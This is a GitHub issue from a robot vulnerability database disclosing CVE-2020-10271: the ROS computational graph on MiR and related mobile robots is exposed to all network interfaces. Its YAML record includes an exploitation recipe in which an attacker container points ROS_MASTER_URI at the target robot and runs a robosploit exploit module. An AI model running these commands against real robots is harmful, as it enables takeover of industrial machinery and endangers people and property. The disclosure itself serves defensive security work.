New issue

Jump to bottom

RVD#2555: MiR ROS computational graph is exposed to all network interfaces, including poorly secured wireless networks and open wired ones #2555

⊙ Open rvd-bot opened this issue on Jun 24, 2020 · 0 comments

Labels robot: ER200 robot: ER-Flex robot: ER-Lite robot: ER-One robot: MiR100 robot: MiR200 robot: MiR250 robot: MiR500 robot: MiR1000 robot: UVD severity: high vendor: Easy Robotics vendor: Enabled Robotics vendor: Mobile Industrial Robots vendor: Robotplus vendor: UVD Robots vulnerability

rvd-bot commented on Jun 24, 2020 • edited by glerapic Contributor

```
id: 2555
title: 'RVD#2555: MiR ROS computational graph is exposed to all network interfaces,
  including poorly secured wireless networks and open wired ones'
type: vulnerability
description: MiR100, MiR200 and other MiR robots use the Robot Operating System (ROS)
  default packages exposing the computational graph to all network interfaces, wireless
  and wired. This is the result of a bad set up and can be mitigated by appropriately
  configuring ROS and/or applying custom patches as appropriate. Currently, the ROS
  computational graph can be accessed fully from the wired exposed ports. In combination
  with other flaws such as CVE-2020-10269, the computation graph can also be fetched
  and interacted from wireless networks. This allows a malicious operator to take
  control of the ROS logic and correspondingly, the complete robot given that MiR's
  operations are centered around the framework (ROS).
cwe: CWE-668
cve: CVE-2020-10271
keywords:
- MiR100, MiR200, MiR500, MiR250, MiR1000, ER200, ER-Lite, ER-Flex,
  ER-One, UVD
system: MiR100:v2.8.1.1 and before, MiR200, MiR250, MiR500, MiR1000, ER200,
  ER-Lite, ER-Flex, ER-One, UVD
vendor: Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots
severity:
  rvss-score: 8.0
  rvss-vector: RVSS:1.0/AV:IN/AC:L/PR:N/UI:N/S:C/Y:Z/C:H/I:H/A:H/H:H/
  severity-description: high
  cvss-score: 10.0
  cvss-vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
links:
- https://cwe.mitre.org/data/definitions/668.html
- https://github.com/aliasrobotics/RVD/issues/2555
flaw:
  phase: testing
  specificity: robotics-specific
  architectural-location: platform code
  application: ROS
  subsystem: cognition:ros
  package: N/A
  languages: N/A
  date-detected: 2020-04-20
  detected-by: "Victor Mayoral Vilches, Alfonso Glera, Lander Usategui, Unai Ayucar, Xabier Saez de Camara (Alias Robotics)"
  detected-by-method: testing-dynamic:alurity
  date-reported: '2020-06-24'
  reported-by: "Victor Mayoral Vilches (Alias Robotics)"
  reported-by-relationship: security researcher
  issue: https://github.com/aliasrobotics/RVD/issues/2555
  reproducibility: always
  trace: Not disclosed
  reproduction: Not disclosed
  reproduction-image: Not disclosed
exploitation:
  description: Not disclosed
  exploitation-image: Not disclosed
  exploitation-vector: Not disclosed
  exploitation-recipe:
    networks:
    - network:
      - driver: overlay
      - name: mireth-network
      - encryption: false
    containers:
    - container:
      - name: mir100
      - modules:
        - base: registry.gitlab.com/aliasrobotics/offensive/alurity/robo_mir100:2.8.1.1
        - network: mireth-network
    - container:
      - name: attacker
      - modules:
        - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic
        - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_robosploit/expl_robosploit:latest
        - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/deve_atom:latest
        - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/reco_nmap:latest
        - network: mireth-network
    flow:
    - container:
      - name: attacker
      - window:
        - name: attacker
        - commands:
          - command: 'export TARGET=$(nslookup mir100 |  awk "NR==6{print$2}" | sed
              "s/Address: //g")'
          - command: export PYTHONPATH="/opt/ros/melodic/lib/python2.7/dist-packages"
          - command: export ROS_MASTER_URI="http://$TARGET:11311"
          - command: echo "Give ROS setup some time to finalize launching..."; sleep
              20
          - command: source /opt/ros/melodic/setup.bash
          - command: rosnode list
          - command: echo "#####################"
          - command: echo "Initiating attack"
          - command: echo "#####################"
          - command: export PYTHONPATH="/opt/ros/melodic/lib/python2.7/dist-packages:/opt/robosploit/lib/python3.6/site-packages:/opt/robosploit/lib/python3.6/site-packages"
          - command: echo " Exploiting the computational graph directly"
          - command: echo " Updating first dependencies"
          - command: pip3 install rospkg
          - command: robosploit -m exploits/mir/ros/tunes -s "target $TARGET"
    - container:
      - name: mir100
      - window:
        - name: setup
        - commands:
          - command: mkdir /var/run/sshd
          - command: /usr/sbin/sshd
          - command: /bin/sleep 5
          - command: sudo mkdir /run/lock
          - command: /etc/init.d/apache2 start
          - split: horizontal
          - command: /bin/sleep 2
          - command: python /usr/local/mir/software/robot/release/db_backup.py
          - command: /etc/init.d/mysql start
          - command: /bin/sleep 2
          - command: /usr/sbin/mysqld --verbose &
      - window:
        - name: ros
        - commands:
          - command: 'export MYIP=$(nslookup mir100 |  awk "NR==6{print$2}" | sed
              "s/Address: //g")'
          - command: export ROS_IP=$MYIP
          - command: export ROS_MASTER_URI="http://$MYIP:11311"
          - command: python /usr/local/mir/software/robot/release/db_backup.py
          - command: sudo apt-key adv --keyserver 'hkp://keyserver.ubuntu.com:80'
              --recv-key C1CF6E31E6BADE8868B172B4F42ED6FBAB17C654
          - command: sudo apt-get update
          - command: roslaunch mirCommon mir_bringup.launch
      - select: setup
    - attach: attacker
mitigation:
  description: Not disclosed
  pull-request: Not disclosed
  date-mitigation: null
```

rvd-bot added robot: ER-Flex robot: ER-Lite robot: ER-One robot: ER1000 robot: ER200 robot: MiR100 robot: MiR1000 robot: MiR200 robot: MiR250 robot: MiR500 robot: UVD severity: high vendor: Easy Robotics vendor: Enabled Robotics vendor: Mobile Industrial Robots vendor: UVD Robots vulnerability labels on Jun 24, 2020

rvd-bot changed the title ~~MiR ROS computational graph is exposed to all network interfaces, including poorly secured wireless networks and open wired ones~~ RVD#2555: MiR ROS computational graph is exposed to all network interfaces, including poorly secured wireless networks and open wired ones on Jun 24, 2020

glerapic removed the robot: ER1000 label on Jun 24, 2020

vmayoral added the vendor: Robotplus label on Jul 10, 2020

Assignees

No one assigned

Labels

robot: ER200 robot: ER-Flex robot: ER-Lite robot: ER-One robot: MiR100 robot: MiR200 robot: MiR250 robot: MiR500 robot: MiR1000 robot: UVD severity: high vendor: Easy Robotics vendor: Enabled Robotics vendor: Mobile Industrial Robots vendor: Robotplus vendor: UVD Robots vulnerability

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants